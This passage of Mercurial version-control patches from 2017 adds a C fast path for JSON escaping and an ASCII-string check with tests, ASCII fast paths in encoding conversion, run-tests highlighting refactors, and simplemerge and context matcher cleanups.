+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, /* DEL */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+};
+
+static const uint8_t jsonparanoidlentable[128] = {
+	6, 6, 6, 6, 6, 6, 6, 6, 2, 2, 2, 6, 2, 2, 6, 6, /* b, t, n, f, r */
+	6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,
+	1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* " */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, 1, 6, 1, /* <, > */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, /* \\ */
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+	1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 6, /* DEL */
+};
+
+static const char hexchartable[16] = {
+	'0', '1', '2', '3', '4', '5', '6', '7',
+	'8', '9', 'a', 'b', 'c', 'd', 'e', 'f',
+};
+
 /*
  * Turn a hex-encoded string into binary.
  */
@@ -217,3 +254,105 @@
 	Py_XDECREF(file_foldmap);
 	return NULL;
 }
+
+/* calculate length of JSON-escaped string; returns -1 if unsupported */
+static Py_ssize_t jsonescapelen(const char *buf, Py_ssize_t len, bool paranoid)
+{
+	Py_ssize_t i, esclen = 0;
+
+	if (paranoid) {
+		/* don't want to process multi-byte escapes in C */
+		for (i = 0; i < len; i++) {
+			char c = buf[i];
+			if (c & 0x80) {
+				PyErr_SetString(PyExc_ValueError,
+						"cannot process non-ascii str");
+				return -1;
+			}
+			esclen += jsonparanoidlentable[(unsigned char)c];
+		}
+	} else {
+		for (i = 0; i < len; i++) {
+			char c = buf[i];
+			esclen += jsonlentable[(unsigned char)c];
+		}
+	}
+
+	return esclen;
+}
+
+/* map '\<c>' escape character */
+static char jsonescapechar2(char c)
+{
+	switch (c) {
+	case '\b': return 'b';
+	case '\t': return 't';
+	case '\n': return 'n';
+	case '\f': return 'f';
+	case '\r': return 'r';
+	case '"':  return '"';
+	case '\\': return '\\';
+	}
+	return '\0';  /* should not happen */
+}
+
+/* convert 'origbuf' to JSON-escaped form 'escbuf'; 'origbuf' should only
+   include characters mappable by json(paranoid)lentable */
+static void encodejsonescape(char *escbuf, Py_ssize_t esclen,
+			     const char *origbuf, Py_ssize_t origlen,
+			     bool paranoid)
+{
+	const uint8_t *lentable =
+		(paranoid) ? jsonparanoidlentable : jsonlentable;
+	Py_ssize_t i, j;
+
+	for (i = 0, j = 0; i < origlen; i++) {
+		char c = origbuf[i];
+		uint8_t l = lentable[(unsigned char)c];
+		assert(j + l <= esclen);
+		switch (l) {
+		case 1:
+			escbuf[j] = c;
+			break;
+		case 2:
+			escbuf[j] = '\\';
+			escbuf[j + 1] = jsonescapechar2(c);
+			break;
+		case 6:
+			memcpy(escbuf + j, "\\u00", 4);
+			escbuf[j + 4] = hexchartable[(unsigned char)c >> 4];
+			escbuf[j + 5] = hexchartable[(unsigned char)c & 0xf];
+			break;
+		}
+		j += l;
+	}
+}
+
+PyObject *jsonescapeu8fast(PyObject *self, PyObject *args)
+{
+	PyObject *origstr, *escstr;
+	const char *origbuf;
+	Py_ssize_t origlen, esclen;
+	int paranoid;
+	if (!PyArg_ParseTuple(args, "O!i:jsonescapeu8fast",
+			      &PyBytes_Type, &origstr, &paranoid))
+		return NULL;
+
+	origbuf = PyBytes_AS_STRING(origstr);
+	origlen = PyBytes_GET_SIZE(origstr);
+	esclen = jsonescapelen(origbuf, origlen, paranoid);
+	if (esclen < 0)
+		return NULL;  /* unsupported char found */
+	if (origlen == esclen) {
+		Py_INCREF(origstr);
+		return origstr;
+	}
+
+	escstr = PyBytes_FromStringAndSize(NULL, esclen);
+	if (!escstr)
+		return NULL;
+	encodejsonescape(PyBytes_AS_STRING(escstr), esclen, origbuf, origlen,
+			 paranoid);
+
+	return escstr;
+}
diff --git a/mercurial/cext/charencode.h b/mercurial/cext/charencode.h
--- a/mercurial/cext/charencode.h
+++ b/mercurial/cext/charencode.h
@@ -22,6 +22,7 @@
 PyObject *asciilower(PyObject *self, PyObject *args);
 PyObject *asciiupper(PyObject *self, PyObject *args);
 PyObject *make_file_foldmap(PyObject *self, PyObject *args);
+PyObject *jsonescapeu8fast(PyObject *self, PyObject *args);
 
 static const int8_t hextable[256] = {
 	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -702,6 +702,8 @@
 	 "construct a dict with an expected size\n"},
 	{"make_file_foldmap", make_file_foldmap, METH_VARARGS,
 	 "make file foldmap\n"},
+	{"jsonescapeu8fast", jsonescapeu8fast, METH_VARARGS,
+	 "escape a UTF-8 byte string to JSON (fast path)\n"},
 	{"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
 	{"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
 	{"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
@@ -714,7 +716,7 @@
 void manifest_module_init(PyObject *mod);
 void revlog_module_init(PyObject *mod);
 
-static const int version = 1;
+static const int version = 2;
 
 static void module_init(PyObject *mod)
 {
diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -26,7 +26,7 @@
 
 asciilower = charencode.asciilower
 asciiupper = charencode.asciiupper
-_jsonescapeu8fast = charencodepure.jsonescapeu8fast  # TODO: no "pure"
+_jsonescapeu8fast = charencode.jsonescapeu8fast
 
 _sysstr = pycompat.sysstr
 
@@ -404,8 +404,8 @@
     'this is a test'
     >>> jsonescape('escape characters: \\0 \\x0b \\x7f')
     'escape characters: \\\\u0000 \\\\u000b \\\\u007f'
-    >>> jsonescape('escape characters: \\t \\n \\r \\" \\\\')
-    'escape characters: \\\\t \\\\n \\\\r \\\\" \\\\\\\\'
+    >>> jsonescape('escape characters: \\b \\t \\n \\f \\r \\" \\\\')
+    'escape characters: \\\\b \\\\t \\\\n \\\\f \\\\r \\\\" \\\\\\\\'
     >>> jsonescape('a weird byte: \\xdd')
     'a weird byte: \\xed\\xb3\\x9d'
     >>> jsonescape('utf-8: caf\\xc3\\xa9')
@@ -416,6 +416,10 @@
     If paranoid, non-ascii and common troublesome characters are also escaped.
     This is suitable for web output.
 
+    >>> s = 'escape characters: \\0 \\x0b \\x7f'
+    >>> assert jsonescape(s) == jsonescape(s, paranoid=True)
+    >>> s = 'escape characters: \\b \\t \\n \\f \\r \\" \\\\'
+    >>> assert jsonescape(s) == jsonescape(s, paranoid=True)
     >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
     'escape boundary: ~ \\\\u007f \\\\u0080'
     >>> jsonescape('a weird byte: \\xdd', paranoid=True)
diff --git a/mercurial/policy.py b/mercurial/policy.py
--- a/mercurial/policy.py
+++ b/mercurial/policy.py
@@ -75,7 +75,7 @@
     (r'cext', r'diffhelpers'): 1,
     (r'cext', r'mpatch'): 1,
     (r'cext', r'osutil'): 1,
-    (r'cext', r'parsers'): 1,
+    (r'cext', r'parsers'): 2,
 }
 
 # map import request to other package or module
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1492919982 -32400
#      Sun Apr 23 12:59:42 2017 +0900
# Node ID f4433f2713d08a21ef1b595818e9f85a3271b557
# Parent  2c37f9dabc326370004ae9b66604e6c5ef6d6389
encoding: add function to test if a str consists of ASCII characters

Most strings are ASCII. Let's optimize for it.

Using uint64_t is slightly faster than uint32_t on 64bit system, but there
isn't huge difference.

diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -18,6 +18,7 @@
 test-duplicateoptions.py
 test-empty-dir.t
 test-empty.t
+test-encoding-func.py
 test-excessive-merge.t
 test-hghave.t
 test-imports-checker.t
diff --git a/mercurial/cext/charencode.c b/mercurial/cext/charencode.c
--- a/mercurial/cext/charencode.c
+++ b/mercurial/cext/charencode.c
@@ -12,6 +12,7 @@
 #include <assert.h>
 
 #include "charencode.h"
+#include "compat.h"
 #include "util.h"
 
 #ifdef IS_PY3K
@@ -125,6 +126,29 @@
 	return ret;
 }
 
+PyObject *isasciistr(PyObject *self, PyObject *args)
+{
+	const char *buf;
+	Py_ssize_t i, len;
+	if (!PyArg_ParseTuple(args, "s#:isasciistr", &buf, &len))
+		return NULL;
+	i = 0;
+	/* char array in PyStringObject should be at least 4-byte aligned */
+	if (((uintptr_t)buf & 3) == 0) {
+		const uint32_t *p = (const uint32_t *)buf;
+		for (; i < len / 4; i++) {
+			if (p[i] & 0x80808080U)
+				Py_RETURN_FALSE;
+		}
+		i *= 4;
+	}
+	for (; i < len; i++) {
+		if (buf[i] & 0x80)
+			Py_RETURN_FALSE;
+	}
+	Py_RETURN_TRUE;
+}
+
 static inline PyObject *_asciitransform(PyObject *str_obj,
 					const char table[128],
 					PyObject *fallback_fn)
diff --git a/mercurial/cext/charencode.h b/mercurial/cext/charencode.h
--- a/mercurial/cext/charencode.h
+++ b/mercurial/cext/charencode.h
@@ -19,6 +19,7 @@
 };
 
 PyObject *unhexlify(const char *str, Py_ssize_t len);
+PyObject *isasciistr(PyObject *self, PyObject *args);
 PyObject *asciilower(PyObject *self, PyObject *args);
 PyObject *asciiupper(PyObject *self, PyObject *args);
 PyObject *make_file_foldmap(PyObject *self, PyObject *args);
diff --git a/mercurial/cext/parsers.c b/mercurial/cext/parsers.c
--- a/mercurial/cext/parsers.c
+++ b/mercurial/cext/parsers.c
@@ -696,6 +696,7 @@
 	{"parse_manifest", parse_manifest, METH_VARARGS, "parse a manifest\n"},
 	{"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
 	{"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
+	{"isasciistr", isasciistr, METH_VARARGS, "check if an ASCII string\n"},
 	{"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
 	{"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
 	{"dict_new_presized", dict_new_presized, METH_VARARGS,
@@ -716,7 +717,7 @@
 void manifest_module_init(PyObject *mod);
 void revlog_module_init(PyObject *mod);
 
-static const int version = 2;
+static const int version = 3;
 
 static void module_init(PyObject *mod)
 {
diff --git a/mercurial/compat.h b/mercurial/compat.h
--- a/mercurial/compat.h
+++ b/mercurial/compat.h
@@ -7,8 +7,10 @@
 #define inline __inline
 #if defined(_WIN64)
 typedef __int64 ssize_t;
+typedef unsigned __int64 uintptr_t;
 #else
 typedef int ssize_t;
+typedef unsigned int uintptr_t;
 #endif
 typedef signed char int8_t;
 typedef short int16_t;
diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -24,6 +24,7 @@
 
 charencode = policy.importmod(r'charencode')
 
+isasciistr = charencode.isasciistr
 asciilower = charencode.asciilower
 asciiupper = charencode.asciiupper
 _jsonescapeu8fast = charencode.jsonescapeu8fast
diff --git a/mercurial/policy.py b/mercurial/policy.py
--- a/mercurial/policy.py
+++ b/mercurial/policy.py
@@ -75,7 +75,7 @@
     (r'cext', r'diffhelpers'): 1,
     (r'cext', r'mpatch'): 1,
     (r'cext', r'osutil'): 1,
-    (r'cext', r'parsers'): 2,
+    (r'cext', r'parsers'): 3,
 }
 
 # map import request to other package or module
diff --git a/mercurial/pure/charencode.py b/mercurial/pure/charencode.py
--- a/mercurial/pure/charencode.py
+++ b/mercurial/pure/charencode.py
@@ -13,6 +13,13 @@
     pycompat,
 )
 
+def isasciistr(s):
+    try:
+        s.decode('ascii')
+        return True
+    except UnicodeDecodeError:
+        return False
+
 def asciilower(s):
     '''convert a string to lowercase if ASCII
 
diff --git a/tests/test-encoding-func.py b/tests/test-encoding-func.py
new file mode 100644
--- /dev/null
+++ b/tests/test-encoding-func.py
@@ -0,0 +1,33 @@
+from __future__ import absolute_import
+
+import unittest
+
+from mercurial import (
+    encoding,
+)
+
+class IsasciistrTest(unittest.TestCase):
+    asciistrs = [
+        b'a',
+        b'ab',
+        b'abc',
+        b'abcd',
+        b'abcde',
+        b'abcdefghi',
+        b'abcd\0fghi',
+    ]
+
+    def testascii(self):
+        for s in self.asciistrs:
+            self.assertTrue(encoding.isasciistr(s))
+
+    def testnonasciichar(self):
+        for s in self.asciistrs:
+            for i in range(len(s)):
+                t = bytearray(s)
+                t[i] |= 0x80
+                self.assertFalse(encoding.isasciistr(bytes(t)))
+
+if __name__ == '__main__':
+    import silenttestrunner
+    silenttestrunner.main(__name__)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1492920383 -32400
#      Sun Apr 23 13:06:23 2017 +0900
# Node ID 853574db5b12209f6b2e98d12cf5af83670852fe
# Parent  f4433f2713d08a21ef1b595818e9f85a3271b557
encoding: add fast path of from/tolocal() for ASCII strings

This is micro optimization, but seems not bad since to/fromlocal() is called
lots of times and isasciistr() is cheap and simple.

We boldly assume that any non-ASCII characters have at least one 8-bit byte.
This isn't true for some email character sets (e.g. ISO-2022-JP and UTF-7),
but I believe no such encodings are used as a platform default. Shift_JIS,
a major crap, is okay as it should have a leading byte in 0x80-0xff range.

  (with mercurial repo)
  $ export HGRCPATH=/dev/null HGPLAIN=
  $ hg log --time --config experimental.stabilization=all > /dev/null

  (original)
  time: real 7.460 secs (user 7.420+0.000 sys 0.030+0.000)
  time: real 7.670 secs (user 7.590+0.000 sys 0.080+0.000)
  time: real 7.560 secs (user 7.510+0.000 sys 0.040+0.000)

  (this patch)
  time: real 7.340 secs (user 7.260+0.000 sys 0.060+0.000)
  time: real 7.260 secs (user 7.210+0.000 sys 0.030+0.000)
  time: real 7.310 secs (user 7.260+0.000 sys 0.060+0.000)

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -128,6 +128,9 @@
     'foo: \\xc3\\xa4'
     """
 
+    if isasciistr(s):
+        return s
+
     try:
         try:
             # make sure string is actually stored in UTF-8
@@ -170,6 +173,8 @@
     # can we do a lossless round-trip?
     if isinstance(s, localstr):
         return s._utf8
+    if isasciistr(s):
+        return s
 
     try:
         u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
diff --git a/tests/test-encoding-func.py b/tests/test-encoding-func.py
--- a/tests/test-encoding-func.py
+++ b/tests/test-encoding-func.py
@@ -28,6 +28,12 @@
                 t[i] |= 0x80
                 self.assertFalse(encoding.isasciistr(bytes(t)))
 
+class LocalEncodingTest(unittest.TestCase):
+    def testasciifastpath(self):
+        s = b'\0' * 100
+        self.assertTrue(s is encoding.tolocal(s))
+        self.assertTrue(s is encoding.fromlocal(s))
+
 if __name__ == '__main__':
     import silenttestrunner
     silenttestrunner.main(__name__)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1492920538 -32400
#      Sun Apr 23 13:08:58 2017 +0900
# Node ID 6c119dbfd0c02e35490e64537cc957f46237aaba
# Parent  853574db5b12209f6b2e98d12cf5af83670852fe
encoding: add fast path of from/toutf8b() for ASCII strings

See the previous patch for why.

The added test seems not making much sense because ASCII strings should
never contain "\xed" and be valid UTF-8.

  (with mercurial repo)
  $ export HGRCPATH=/dev/null HGPLAIN=
  $ hg log --time --config experimental.stabilization=all -Tjson > /dev/null

  (original)
  time: real 6.830 secs (user 6.740+0.000 sys 0.080+0.000)
  time: real 6.690 secs (user 6.650+0.000 sys 0.040+0.000)
  time: real 6.700 secs (user 6.640+0.000 sys 0.060+0.000)

  (fast jsonescape)
  time: real 5.630 secs (user 5.550+0.000 sys 0.070+0.000)
  time: real 5.700 secs (user 5.650+0.000 sys 0.050+0.000)
  time: real 5.690 secs (user 5.640+0.000 sys 0.050+0.000)

  (this patch)
  time: real 5.190 secs (user 5.120+0.000 sys 0.070+0.000)
  time: real 5.230 secs (user 5.170+0.000 sys 0.050+0.000)
  time: real 5.220 secs (user 5.150+0.000 sys 0.070+0.000)

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -494,6 +494,8 @@
     internal surrogate encoding as a UTF-8 string.)
     '''
 
+    if not isinstance(s, localstr) and isasciistr(s):
+        return s
     if "\xed" not in s:
         if isinstance(s, localstr):
             return s._utf8
@@ -544,6 +546,8 @@
     True
     '''
 
+    if isasciistr(s):
+        return s
     # fast path - look for uDxxx prefixes in s
     if "\xed" not in s:
         return s
diff --git a/tests/test-encoding-func.py b/tests/test-encoding-func.py
--- a/tests/test-encoding-func.py
+++ b/tests/test-encoding-func.py
@@ -34,6 +34,12 @@
         self.assertTrue(s is encoding.tolocal(s))
         self.assertTrue(s is encoding.fromlocal(s))
 
+class Utf8bEncodingTest(unittest.TestCase):
+    def testasciifastpath(self):
+        s = b'\0' * 100
+        self.assertTrue(s is encoding.toutf8b(s))
+        self.assertTrue(s is encoding.fromutf8b(s))
+
 if __name__ == '__main__':
     import silenttestrunner
     silenttestrunner.main(__name__)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1503580197 -32400
#      Thu Aug 24 22:09:57 2017 +0900
# Node ID 5d2ce90c71f11a7e37dcf370b979869e4c42eaf9
# Parent  6c119dbfd0c02e35490e64537cc957f46237aaba
run-tests: include "\n" in formatted message instead of calling writeln()

So we don't have to strip "\n" from pygments output.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2043,21 +2043,21 @@
 
             if not self._runner.options.noskips:
                 for test, msg in result.skipped:
-                    formatted = 'Skipped %s: %s' % (test.name, msg)
+                    formatted = 'Skipped %s: %s\n' % (test.name, msg)
                     if result.color:
                         formatted = pygments.highlight(
                             formatted,
                             runnerlexer,
-                            runnerformatter).strip("\n")
-                    self.stream.writeln(formatted)
+                            runnerformatter)
+                    self.stream.write(formatted)
             for test, msg in result.failures:
-                formatted = 'Failed %s: %s' % (test.name, msg)
+                formatted = 'Failed %s: %s\n' % (test.name, msg)
                 if result.color:
                     formatted = pygments.highlight(
                         formatted,
                         runnerlexer,
-                        runnerformatter).strip("\n")
-                self.stream.writeln(formatted)
+                        runnerformatter)
+                self.stream.write(formatted)
             for test, msg in result.errors:
                 self.stream.writeln('Errored %s: %s' % (test.name, msg))
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1503580540 -32400
#      Thu Aug 24 22:15:40 2017 +0900
# Node ID f5d4bb8e944d7fe1c2b483cf491e3945b87089de
# Parent  5d2ce90c71f11a7e37dcf370b979869e4c42eaf9
run-tests: factor out highlight functions

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -611,6 +611,18 @@
         print()
         sys.stdout.flush()
 
+def highlightdiff(line, color):
+    if not color:
+        return line
+    assert pygmentspresent
+    return pygments.highlight(line, difflexer, terminal256formatter)
+
+def highlightmsg(msg, color):
+    if not color:
+        return msg
+    assert pygmentspresent
+    return pygments.highlight(msg, runnerlexer, runnerformatter)
+
 def terminate(proc):
     """Terminate subprocess"""
     vlog('# Terminating process %d' % proc.pid)
@@ -1636,12 +1648,7 @@
                 else:
                     if not self._options.nodiff:
                         formatted = '\nERROR: %s output changed\n' % test
-                        if self.color:
-                            formatted = pygments.highlight(
-                                formatted,
-                                runnerlexer,
-                                runnerformatter)
-                        self.stream.write(formatted)
+                        self.stream.write(highlightmsg(formatted, self.color))
                     self.stream.write('!')
 
                 self.stream.flush()
@@ -1707,10 +1714,7 @@
                 else:
                     self.stream.write('\n')
                     for line in lines:
-                        if self.color:
-                            line = pygments.highlight(line,
-                                                      difflexer,
-                                                      terminal256formatter)
+                        line = highlightdiff(line, self.color)
                         if PYTHON3:
                             self.stream.flush()
                             self.stream.buffer.write(line)
@@ -2044,20 +2048,10 @@
             if not self._runner.options.noskips:
                 for test, msg in result.skipped:
                     formatted = 'Skipped %s: %s\n' % (test.name, msg)
-                    if result.color:
-                        formatted = pygments.highlight(
-                            formatted,
-                            runnerlexer,
-                            runnerformatter)
-                    self.stream.write(formatted)
+                    self.stream.write(highlightmsg(formatted, result.color))
             for test, msg in result.failures:
                 formatted = 'Failed %s: %s\n' % (test.name, msg)
-                if result.color:
-                    formatted = pygments.highlight(
-                        formatted,
-                        runnerlexer,
-                        runnerformatter)
-                self.stream.write(formatted)
+                self.stream.write(highlightmsg(formatted, result.color))
             for test, msg in result.errors:
                 self.stream.writeln('Errored %s: %s' % (test.name, msg))
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1503580802 -32400
#      Thu Aug 24 22:20:02 2017 +0900
# Node ID 7cab956794e442c54e7c12c642c794598a21d102
# Parent  f5d4bb8e944d7fe1c2b483cf491e3945b87089de
run-tests: pass unicode to Pygments

This is required on Python 3, and is more correct on Python 2 because
Pygments is a unicode library.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -615,7 +615,8 @@
     if not color:
         return line
     assert pygmentspresent
-    return pygments.highlight(line, difflexer, terminal256formatter)
+    return pygments.highlight(line.decode('latin1'), difflexer,
+                              terminal256formatter).encode('latin1')
 
 def highlightmsg(msg, color):
     if not color:
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503694156 25200
#      Fri Aug 25 13:49:16 2017 -0700
# Node ID 3b2a002ef6850a1233afcca547bc136f64717f31
# Parent  7cab956794e442c54e7c12c642c794598a21d102
simplemerge: remove check for null context

Differential Revision: https://phab.mercurial-scm.org/D520

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -425,8 +425,6 @@
     The merged result is written into `localctx`.
     """
     def readctx(ctx):
-        if not ctx:
-            return None
         # Merges were always run in the working copy before, which means
         # they used decoded data, if the user defined any repository
         # filters.
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1503694157 25200
#      Fri Aug 25 13:49:17 2017 -0700
# Node ID 39d253d088a978857e010d2887f3caa581fa5eef
# Parent  3b2a002ef6850a1233afcca547bc136f64717f31
simplemerge: refactor _picklabels to be more compact

Use @martinvonz's suggestion from D376.

Differential Revision: https://phab.mercurial-scm.org/D521

diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -406,18 +406,12 @@
     return text
 
 def _picklabels(defaults, overrides):
-    name_a, name_b, name_base = defaults
-
-    if len(overrides) > 0:
-        name_a = overrides[0]
-    if len(overrides) > 1:
-        name_b = overrides[1]
-    if len(overrides) > 2:
-        name_base = overrides[2]
     if len(overrides) > 3:
         raise error.Abort(_("can only specify three labels."))
-
-    return [name_a, name_b, name_base]
+    result = defaults[:]
+    for i, override in enumerate(overrides):
+        result[i] = override
+    return result
 
 def simplemerge(ui, localctx, basectx, otherctx, repo=None, **opts):
     """Performs the simplemerge algorithm.
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503247587 25200
#      Sun Aug 20 09:46:27 2017 -0700
# Node ID 6cc8f848b4c3de1d08a72214d71c3ac54ad3aa6e
# Parent  39d253d088a978857e010d2887f3caa581fa5eef
run-tests: make per-line condition support testcase names

7340465bd added multiple test cases support. The latter has a problem -
output lines cannot be made conditional with `#if`:

```
  # COUNTEREXAMPLE: DOES NOT WORK
  #testcases A B
    $ command-foo
    common ouput
  #if A
    A's ouput
  #else
    B's ouput
  #endif
    common ouput
```

That's not trivial to fix (even if it works in test, `run-tests.py -i` may
be suboptimal because diff algorithm does not know how to skip the `#if`
lines, even if it does, it may have trouble figuring out whether a changed
line belongs to inside a `#if` block or outside).

Matching output lines conditionally is useful. 4eec2f04a added per-line
condition support for hghave. This patch extends that to also support test
case names.

Differential Revision: https://phab.mercurial-scm.org/D466

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -1440,7 +1440,7 @@
                                 conditions = [
                                     c for c in m.group(2).split(b' ')]
 
-                                if not self._hghave(conditions)[0]:
+                                if not self._iftest(conditions):
                                     optional.append(i)
 
                     i += 1
@@ -1474,7 +1474,7 @@
                             if m:
                                 conditions = [c for c in m.group(2).split(b' ')]
 
-                                if self._hghave(conditions)[0]:
+                                if self._iftest(conditions):
                                     # Don't append as optional line
                                     continue
                             else:
@@ -1555,7 +1555,7 @@
                     conditions = [c for c in m.group(2).split(b' ')]
 
                     el = m.group(1) + b"\n"
-                    if not self._hghave(conditions)[0]:
+                    if not self._iftest(conditions):
                         retry = "retry"    # Not required by listed features
 
             if el.endswith(b" (esc)\n"):
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -823,6 +823,20 @@
     2
   #endif
 
+  $ cat >> test-cases.t <<'EOF'
+  > #if a
+  >   $ NAME=A
+  > #else
+  >   $ NAME=B
+  > #endif
+  >   $ echo $NAME
+  >   A (a !)
+  >   B (b !)
+  > EOF
+  $ rt test-cases.t
+  ..
+  # Ran 2 tests, 0 skipped, 0 failed.
+
   $ rm test-cases.t
 
 (reinstall)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503513025 25200
#      Wed Aug 23 11:30:25 2017 -0700
# Node ID 8e472f3b7c633ab5d2ebbc2933d63902b843ccc8
# Parent  6cc8f848b4c3de1d08a72214d71c3ac54ad3aa6e
test-casecollision-merge: fix the test

D30 (055fee3547df) makes the error message unpredictable, therefore the fix.

Differential Revision: https://phab.mercurial-scm.org/D494

diff --git a/tests/test-casecollision-merge.t b/tests/test-casecollision-merge.t
--- a/tests/test-casecollision-merge.t
+++ b/tests/test-casecollision-merge.t
@@ -144,7 +144,7 @@
   $ hg commit -m '#4'
 
   $ hg merge
-  abort: case-folding collision between a and A
+  abort: case-folding collision between [aA] and [Aa] (re)
   [255]
   $ hg parents --template '{rev}\n'
   4
@@ -157,7 +157,7 @@
   $ hg update --clean 2
   1 files updated, 0 files merged, 2 files removed, 0 files unresolved
   $ hg merge
-  abort: case-folding collision between a and A
+  abort: case-folding collision between [aA] and [Aa] (re)
   [255]
   $ hg parents --template '{rev}\n'
   2
@@ -327,7 +327,7 @@
   $ hg status
   A B
   $ hg update
-  abort: case-folding collision between b and B
+  abort: case-folding collision between [bB] and [Bb] (re)
   [255]
 
   $ hg update --check
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503469675 25200
#      Tue Aug 22 23:27:55 2017 -0700
# Node ID c714e82b9ac216277fc73fbabe88e683d1a0d3aa
# Parent  8e472f3b7c633ab5d2ebbc2933d63902b843ccc8
context: always pass a matcher into _matchstatus() (API)

This just makes it a little easier to follow and removes the need to
call the superclass's method in workingctx.

Differential Revision: https://phab.mercurial-scm.org/D491

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -103,12 +103,10 @@
         return self.manifest()
 
     def _matchstatus(self, other, match):
-        """return match.always if match is none
-
-        This internal method provides a way for child objects to override the
+        """This internal method provides a way for child objects to override the
         match operator.
         """
-        return match or matchmod.always(self._repo.root, self._repo.getcwd())
+        return match
 
     def _buildstatus(self, other, s, match, listignored, listclean,
                      listunknown):
@@ -392,6 +390,7 @@
             reversed = True
             ctx1, ctx2 = ctx2, ctx1
 
+        match = match or matchmod.always(self._repo.root, self._repo.getcwd())
         match = ctx2._matchstatus(ctx1, match)
         r = scmutil.status([], [], [], [], [], [], [])
         r = ctx2._buildstatus(ctx1, r, match, listignored, listclean,
@@ -1848,8 +1847,6 @@
         If we aren't comparing against the working directory's parent, then we
         just use the default match object sent to us.
         """
-        superself = super(workingctx, self)
-        match = superself._matchstatus(other, match)
         if other != self._repo['.']:
             def bad(f, msg):
                 # 'f' may be a directory pattern from 'match.files()',
# HG changeset patch
# User Martin von Zweigbergk <martinvonz@google.com>
# Date 1503470345 25200
#      Tue Aug 22 23:39:05 2017 -0700
# Node ID e43264525ce513dab1ea23e39d2cf1051975c8ca
# Parent  c714e82b9ac216277fc73fbabe88e683d1a0d3aa
context: remove unnecessary default values for matchers (API)

ctx._dirstatestatus() is called only from workingctx._buildstatus()
and that function, in turn, is called only from
basectx.status(). basectx.status() will always pass a matcher to
_buildstatus(), so there's no need to handle a None matcher there.

Differential Revision: https://phab.mercurial-scm.org/D492

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
